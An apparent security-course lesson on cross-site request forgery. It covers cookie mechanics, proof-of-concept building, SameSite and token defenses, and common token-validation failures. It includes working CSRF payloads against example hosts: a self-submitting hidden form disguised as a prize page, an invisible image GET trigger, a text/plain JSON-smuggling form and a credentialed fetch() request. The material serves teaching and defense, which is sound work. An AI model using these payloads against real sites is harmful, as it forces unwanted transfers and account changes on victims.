Web Application Security

Cross-Site Request Forgery

Forcing authenticated actions, SameSite cookies, and how CSRF tokens defend (and fail).

Medium 18 mincsrfcookiessamesite

Your browser helpfully attaches cookies to every request it makes to a matching domain - whether that request originated from your bank's website or from a link in a phishing email. Cross-Site Request Forgery (CSRF) is the attack that exploits this behavior: trick a logged-in user's browser into making a state-changing request to a site they are authenticated to, without their knowledge. The server sees a valid session cookie and executes the action. No credentials are stolen, no XSS required - just a browser doing exactly what browsers are designed to do.

Authorized Targets Only - Every Lesson, Every Time

CSRF proof-of-concept pages and testing techniques must only be used against applications you own, have written permission to test, or dedicated lab environments. CSRF attacks against real users cause real harm - changing email addresses, transferring funds, modifying account settings. Never test CSRF against live accounts that belong to real people without explicit authorization.

The Mechanics: Why Browsers Enable This

HTTP is stateless. Sessions exist because browsers automatically send cookies matching a domain with every request to that domain - regardless of the page that initiated the request.

When bank.example.com sets Set-Cookie: session=abc123, the browser stores it and sends Cookie: session=abc123 on every subsequent request to bank.example.com. The browser does not check whether the initiating page was hosted at bank.example.com or at evil.example.com.

The attack flow:

  1. Alice logs in to bank.example.com. Her browser stores session=abc123.
  2. Alice visits evil.attacker.com (perhaps via a phishing link).
  3. evil.attacker.com contains an HTML form or image tag that silently makes a POST request to https://bank.example.com/transfer.
  4. Alice's browser automatically attaches the session=abc123 cookie to that request.
  5. The bank's server receives a valid, authenticated request to transfer funds.
  6. The transfer happens. Alice never submitted anything.

This is not a bug in Alice's browser. The browser is doing exactly what it should. The bug is in the server: it accepted a state-changing request without verifying that the user intentionally made it from the bank's own interface.

What CSRF Can and Cannot Do

CSRF can:

  • Change the victim's email address or password
  • Transfer money or modify financial data
  • Delete accounts or data
  • Change security settings
  • Post content, send messages
  • Any state-changing action (write operation) the victim is authorized to perform

CSRF cannot:

  • Read data from the target site (the response goes to the victim's browser, not the attacker's server - this is the Same-Origin Policy doing its job)
  • Steal session cookies
  • Work if the session cookie has SameSite=Strict or SameSite=Lax and the request is a POST from a cross-origin page

The distinction matters: CSRF is a blind attack. The attacker fires a request and never sees the response.

Building a CSRF Proof of Concept

Step 1: Identify the Target Request

Using Burp Suite, intercept the state-changing action you want to forge. A bank transfer might look like:

POST /transfer HTTP/1.1
Host: bank.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123
 
to_account=9999&amount=1000&currency=USD&confirm=true

Note what parameters it takes and whether there is any CSRF token in the body or headers.

Step 2: Build the PoC HTML Form

A minimal CSRF PoC is a self-submitting HTML form hosted on the attacker's domain:

<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body>
  <h1>You've won a prize!</h1>
  <!-- Hidden form that auto-submits on page load -->
  <form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
    <input type="hidden" name="to_account" value="9999">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="currency" value="USD">
    <input type="hidden" name="confirm" value="true">
  </form>
  <script>
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

When Alice visits this page while logged into the bank, the form submits automatically. She sees "You've won a prize!" for a fraction of a second before the redirect. The bank processes the transfer.

Step 3: GET-Based CSRF

If the target action is performed via a GET request (a misconfiguration, but common in older apps and poorly designed APIs), the attack requires no form at all:

<!-- An invisible image tag fires a GET request to the bank -->
<img src="https://bank.example.com/transfer?to=9999&amount=1000" width="0" height="0">

This is why state-changing actions must never be performed via GET requests. GET should be idempotent and safe.

Step 4: JSON Body CSRF

Modern APIs often use Content-Type: application/json. Can you CSRF them? It depends.

HTML forms can only encode application/x-www-form-urlencoded, multipart/form-data, or text/plain. They cannot send application/json. This provides some protection - if the server strictly enforces Content-Type: application/json, a form-based CSRF fails.

However, a text/plain form can sometimes be crafted to send a valid JSON-looking body:

<form action="https://api.example.com/transfer" method="POST"
      enctype="text/plain">
  <!-- name is the JSON up to the colon, value is the rest -->
  <input type="hidden" name='{"to":"9999","amount":1000,"x":"' value='ignore"}'>
</form>

The body sent is: {"to":"9999","amount":1000,"x":"=ignore"} - valid JSON that many parsers will accept. Always verify whether JSON APIs actually reject non-JSON content types.

Alternatively, if CORS is misconfigured to allow https://evil.attacker.com with credentials: include, a JavaScript fetch() can send the proper JSON body and read the response:

fetch('https://api.example.com/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ to: '9999', amount: 1000 })
});

Burp Suite: Generating CSRF PoCs Automatically

Burp Suite Pro has a "Generate CSRF PoC" feature. In Burp Community, you can do it manually: right-click on any request in Repeater or History, and in Pro you will see "Engagement tools > Generate CSRF PoC." In Community, build it manually using the pattern above.

kali@vr4cs: ~
 

CSRF Defenses

CSRF Tokens (Synchronizer Token Pattern)

The classic defense: the server generates a random, unpredictable token and includes it in every form as a hidden field. When the form is submitted, the server validates that the token matches what it issued. An attacker on a different origin cannot read the page's HTML (Same-Origin Policy blocks cross-origin reads), so they cannot obtain the token.

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a8f3b2e9c1d7f4a6">
  <!-- ... other fields ... -->
</form>

Server-side validation:

# Django handles this automatically with {% csrf_token %} in templates
# Manual check pattern:
if request.POST.get('csrf_token') != session.get('csrf_token'):
    return 403

Requirements for the token to be effective:

  • The token must be random and unpredictable (at least 128 bits of entropy from a CSRNG)
  • A new token should be issued per-session or per-form
  • The token must be tied to the user's session server-side
  • The server must reject requests where the token is absent or wrong

SameSite is now the most powerful CSRF defense in modern browsers:

Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure

SameSite=Strict - The cookie is never sent on any cross-site request. The strongest protection. Downside: if a user follows a link from an external site to your site, even the initial navigation request has no cookie - the user appears logged out until they navigate again from within the site.

SameSite=Lax (the browser default since Chrome 80) - The cookie is sent on top-level navigations (clicking a link) but NOT on cross-origin subrequests (form POSTs, image loads, iframes). This blocks form-based CSRF. Clicking a link still sends the cookie.

SameSite=None - Cookie is sent on all cross-site requests (required for legitimate cross-site use like embedded widgets). Requires Secure. Provides no CSRF protection.

SameSite=Lax Is Now the Default

Since 2020, Chrome treats cookies with no SameSite attribute as SameSite=Lax. This has significantly reduced the prevalence of CSRF in the wild on modern browsers. However, relying on browser defaults is not a security policy - explicitly set SameSite on all session cookies, and do not assume all users are on modern browsers.

An alternative to server-side token storage: the server sets a random cookie value, and requires a matching value to appear in the request body or a custom header. Since an attacker cannot read the cookie (SOP), they cannot replicate it.

Set-Cookie: csrf_cookie=r4nd0m123; SameSite=Strict; Secure
 
POST /transfer HTTP/1.1
Cookie: session=abc123; csrf_cookie=r4nd0m123
X-CSRF-Token: r4nd0m123

Origin and Referer Header Validation

For additional defense-in-depth, check that the Origin or Referer header matches your domain. This can catch some CSRF scenarios, but both headers can be absent (privacy settings, some proxies strip Referer) and should not be relied upon as the primary control.

allowed_origins = ['https://app.example.com', 'https://www.example.com']
if request.headers.get('Origin') not in allowed_origins:
    return 403

When CSRF Defenses Fail

CSRF tokens protect only if they are implemented correctly. Common mistakes:

Token not tied to the user session: Some implementations generate a valid token but accept any valid token, not necessarily the one issued to this session. If you can get a CSRF token from your own session and reuse it against a victim's session, the protection fails.

Token only validated when present: The server checks the token if it exists in the request, but accepts requests where it is absent entirely. An attacker simply sends the request without the token field.

kali@vr4cs: ~
 

Predictable tokens: Some older frameworks use sequential or timestamp-based tokens. If you can predict the token, you can include it in your CSRF PoC.

Token in URL instead of body: If the CSRF token appears in the URL, it gets logged in server logs, Referer headers, and browser history - and may be leaked to third-party services.

CORS misconfiguration that reads the token: If the CSRF token can be read via a cross-origin JavaScript request (because CORS is misconfigured to reflect Origin with credentials: include), the attacker can fetch the token and include it in their CSRF request.

SameSite=None on session cookies: If SameSite is set to None (or not set in a browser that defaults to None), SameSite provides no protection. Always verify.

Testing CSRF in Bug Bounty

For bug bounty, the minimum bar for a valid CSRF report is usually: (1) there is no CSRF token or SameSite cookie protection on a state-changing endpoint, and (2) you have a working PoC HTML page. "CSRF on logout" is typically considered low severity or informational. CSRF on account takeover actions (change email, change password, add OAuth app) is high severity.

Putting It Together: A Testing Methodology

kali@vr4cs: ~
 

Key Takeaways

  • CSRF exploits the browser's automatic cookie attachment behavior to forge authenticated requests from a victim's browser to a site they are logged into.
  • CSRF can perform any state-changing action the victim is authorized to perform - it cannot read response data.
  • A basic CSRF PoC is a self-submitting HTML form. For GET-based CSRF, an image tag suffices.
  • SameSite=Lax (now the browser default) blocks most CSRF. SameSite=Strict provides complete protection. Explicitly set one of these on all session cookies.
  • CSRF tokens (synchronizer pattern) are the classic server-side defense. They must be random, tied to the session, and validated on every state-changing request - including when absent.
  • The most common CSRF implementation failures: token not validated when absent, token not tied to a specific session, predictable token values.